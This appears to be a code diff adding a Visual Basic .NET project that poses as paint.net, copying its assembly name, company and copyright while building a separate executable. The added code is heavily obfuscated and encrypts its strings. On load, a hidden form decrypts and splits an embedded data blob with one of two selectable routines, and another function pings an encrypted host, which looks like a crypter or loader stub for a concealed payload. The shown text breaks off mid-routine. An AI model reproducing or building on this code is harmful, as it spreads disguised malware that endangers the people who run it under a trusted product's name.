Catch Æbe8œcÆiQWÆœÆØØœÆjOIØiiOOØØØXAKØgÆfAœSœØrØUGmØÆ3Øq As Exception
End Try
End Sub
Public Function xVqlpdyQ4uJHzwSZY74IkzRN0rg1hfrG4hlDVnMxRVmn0() As Boolean
If My.Computer.Network.IsAvailable = True Then
Return My.Computer.Network.Ping(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ìììµöòøéôèôýïèïôéþµøôö", ""))
Else
Return False
End If
End Function
End Module
@@ -0,0 +1,38 @@
'------------------------------------------------------------------------------
' <auto-generated>
' Este código fue generado por una herramienta.
' Versión de runtime:4.0.30319.18444
'
' Los cambios en este archivo podrían causar un comportamiento incorrecto y se perderán si
' se vuelve a generar el código.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTA: este archivo se genera de forma automática; no lo modifique directamente. Para realizar cambios,
' o si detecta errores de compilación en este archivo, vaya al Diseñador de proyectos
' (vaya a Propiedades del proyecto o haga doble clic en el nodo My Project en el
' Explorador de soluciones) y realice cambios en la pestaña Aplicación.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = true
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.OSD.TwistEffect
End Sub
End Class
End Namespace
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>true</MySubMain>
<MainForm>TwistEffect</MainForm>
<SingleInstance>true</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' La información general sobre un ensamblado se controla mediante el siguiente
' conjunto de atributos. Cambie estos atributos para modificar la información
' asociada con un ensamblado.
' Revisar los valores de los atributos del ensamblado
<Assembly: AssemblyTitle("PaintDotNet.Core.dll")>
<Assembly: AssemblyDescription("paint.net Core")>
<Assembly: AssemblyCompany("dotPDN LLC")>
<Assembly: AssemblyProduct("paint.net")>
<Assembly: AssemblyCopyright("Copyright © 2014 dotPDN LLC, Rick Brewster, and past contributors. All Rights Reserved.")>
<Assembly: AssemblyTrademark("paint.net is a registered trademark of dotPDN LLC")>
<Assembly: ComVisible(False)>
'El siguiente GUID sirve como identificador de typelib si este proyecto se expone a COM
<Assembly: Guid("4dd8c4e0-ce7e-4f40-8366-8c484890fc0d")>
' La información de versión de un ensamblado consta de los cuatro valores siguientes:
'
' Versión principal
' Versión secundaria
' Número de compilación
' Revisión
'
' Puede especificar todos los valores o usar los valores predeterminados de número de compilación y de revisión
' mediante el asterisco ('*'), como se muestra a continuación:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("4.0.5288.36565")>
<Assembly: AssemblyFileVersion("4.0.5288.36565")>
@@ -0,0 +1,62 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.34014
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("OSD.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set(ByVal value As Global.System.Globalization.CultureInfo)
resourceCulture = value
End Set
End Property
End Module
End Namespace
@@ -0,0 +1,117 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.34014
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.OSD.My.MySettings
Get
Return Global.OSD.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
@@ -0,0 +1,58 @@
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- Opciones del manifiesto de Control de cuentas de usuario
Si desea cambiar el nivel de Control de cuentas de usuario de Windows, reemplace el
nodo requestedExecutionLevel por alguno de los siguientes.
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
La especificación del nodo requestedExecutionLevel deshabilitará la virtualización de archivos y del Registro.
Si desea usar la virtualización de archivos y del Registro para la compatibilidad
con versiones anteriores, elimine el nodo requestedExecutionLevel.
-->
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Lista de todas las versiones de Windows con las que esta aplicación está diseñada para funcionar.
Windows seleccionará automáticamente el entorno de mayor compatibilidad.-->
<!-- Si la aplicación está diseñada para funcionar con Windows Vista, quite los comentarios del siguiente nodo supportedOS-->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>-->
<!-- Si la aplicación está diseñada para funcionar con Windows 7, quite los comentarios del siguiente nodo supportedOS-->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>-->
<!-- Si la aplicación está diseñada para funcionar con Windows 8, quite los comentarios del siguiente nodo supportedOS-->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>-->
<!-- Si la aplicación está diseñada para funcionar con Windows 8.1, quite los comentarios del siguiente nodo supportedOS-->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>-->
</application>
</compatibility>
<!-- Habilitar los temas para los controles y cuadros de diálogo comunes de Windows (Windows XP y versiones posteriores) -->
<!-- <dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>-->
</asmv1:assembly>
@@ -0,0 +1,183 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{E34E00A1-BFA9-423B-94EA-62B2361532A7}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>OSD.My.MyApplication</StartupObject>
<RootNamespace>OSD</RootNamespace>
<AssemblyName>PaintDotNet.Core.dll</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<PublishUrl>publicar\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
</PropertyGroup>
<PropertyGroup>
<OptionExplicit>On</OptionExplicit>
</PropertyGroup>
<PropertyGroup>
<OptionCompare>Binary</OptionCompare>
</PropertyGroup>
<PropertyGroup>
<OptionStrict>Off</OptionStrict>
</PropertyGroup>
<PropertyGroup>
<OptionInfer>On</OptionInfer>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<DebugSymbols>true</DebugSymbols>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\x86\Debug\</OutputPath>
<DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
<DebugType>full</DebugType>
<PlatformTarget>x86</PlatformTarget>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<DefineTrace>true</DefineTrace>
<OutputPath>bin\x86\Release\</OutputPath>
<DocumentationFile>PaintDotNet.Core.dll.xml</DocumentationFile>
<Optimize>true</Optimize>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x86</PlatformTarget>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>installer.ico</ApplicationIcon>
</PropertyGroup>
<PropertyGroup>
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
</PropertyGroup>
<PropertyGroup>
<SignManifests>false</SignManifests>
</PropertyGroup>
<PropertyGroup>
<SignAssembly>false</SignAssembly>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="ApplicationEvents.vb" />
<Compile Include="тЧиътвинкор.vb" />
<Compile Include="TwistEffect.vb">
<SubType>Form</SubType>
</Compile>
<Compile Include="TwistEffect.Designer.vb">
<DependentUpon>TwistEffect.vb</DependentUpon>
<SubType>Form</SubType>
</Compile>
<Compile Include="My Project\AssemblyInfo.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="My Project\Settings.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<Compile Include="EffectEnvironmentParameters.vb" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="TwistEffect.resx">
<DependentUpon>TwistEffect.vb</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="My Project\Resources.resx">
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
<CustomToolNamespace>My.Resources</CustomToolNamespace>
<SubType>Designer</SubType>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<None Include="My Project\app.manifest" />
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
<None Include="My Project\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<Content Include="installer.ico" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PublishUrlHistory>publicar\</PublishUrlHistory>
<InstallUrlHistory />
<SupportUrlHistory />
<UpdateUrlHistory />
<BootstrapperUrlHistory />
<ErrorReportUrlHistory />
<FallbackCulture>es-ES</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
</PropertyGroup>
</Project>
@@ -0,0 +1,53 @@
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
Partial Class TwistEffect
Inherits System.Windows.Forms.Form
'Form reemplaza a Dispose para limpiar la lista de componentes.
<System.Diagnostics.DebuggerNonUserCode()> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If disposing AndAlso components IsNot Nothing Then
components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
'Requerido por el Diseñador de Windows Forms
Private components As System.ComponentModel.IContainer
'NOTA: el Diseñador de Windows Forms necesita el siguiente procedimiento
'Se puede modificar usando el Diseñador de Windows Forms.
'No lo modifique con el editor de código.
<System.Diagnostics.DebuggerStepThrough()> _
Private Sub InitializeComponent()
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(TwistEffect))
Me.SuspendLayout()
'
'TwistEffect
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.AutoSize = True
Me.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink
Me.AutoValidate = System.Windows.Forms.AutoValidate.Disable
Me.BackgroundImage = CType(resources.GetObject("$this.BackgroundImage"), System.Drawing.Image)
Me.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center
Me.CausesValidation = False
Me.ClientSize = New System.Drawing.Size(1012, 582)
Me.ControlBox = False
Me.Cursor = System.Windows.Forms.Cursors.Cross
Me.DoubleBuffered = True
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
Me.MaximizeBox = False
Me.Name = "TwistEffect"
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Text = "Core"
Me.ResumeLayout(False)
End Sub
End Class
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,107 @@
Imports System.Text
Public Class TwistEffect
Private Sub TwistEffect_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try
Dim zÞzæzzææÞÞÞææÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄµ¸", "")
Dim zæzzææzæææÞÞÞæ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄĵ¸", "")
Dim ÞÞzzæzÞzzzzæzÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄĵ¸", "")
Dim zzzææÞÞææzæzææ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µ´´´µ¸", "")
Dim zæzzÞzÞzææÞÞÞÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("µºººµ", "")
Dim zzzzzæzzzzzæÞÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("µççççµ", "")
Dim zÞææzÞzÞæÞæzzæ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µÄÄÄĵ¸", "")
Dim ÞÞæzæÞÞÞÞÞzzzÞ As String = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¸µ´´´´µ¸", "")
Dim a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn As String = ""
Dim P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 As String = ""
Dim ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC() As String
Dim ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv() As String
Dim joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC() As String
Dim o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif() As String
Dim jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo As String = ""
Dim WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 As String = ""
Dim otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g As String = ""
Dim U9jgI4BxsP As String = ""
Dim zz0Opm9aD3KPlWg5h8vZujbCC As Integer = 0
Dim WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE() As Byte
a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn = rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ(qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg)
ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC = Split(a8he9NXYRfIg8i5obqDureJNUwDguxU9xp53ZH8xrYBKKfZGRn, zÞzæzzææÞÞÞææÞ)
U9jgI4BxsP = ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(2)
zz0Opm9aD3KPlWg5h8vZujbCC = CInt(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(3))
If zz0Opm9aD3KPlWg5h8vZujbCC = 1 Then P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 = t7RisfnOoQSCcVbhemIsaxxlDmNgsuBK48kKZrEMYp123(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(1), U9jgI4BxsP)
If zz0Opm9aD3KPlWg5h8vZujbCC = 2 Then P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9 = VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ZsoZ7ofNkuc5Rp4RWAS0vklQfx2FhZEbreZ70kgmFLRBJaiiwC(1), U9jgI4BxsP)
jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(0)
WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(1)
otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g = Split(P2EbvPXYgQkNE4Go4O71bevzXMUZJmGMqfL0dAaRu4yKGAJXL9, zÞzæzzææÞÞÞææÞ)(2)
ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv = Split(jRZV9gkcBXIoJMXFmrbaUrNC3CctuyMd2zZcVPyhhmFsPDR8Uo, zæzzææzæææÞÞÞæ)
joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC = Split(WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9, ÞÞzzæzÞzzzzæzÞ)
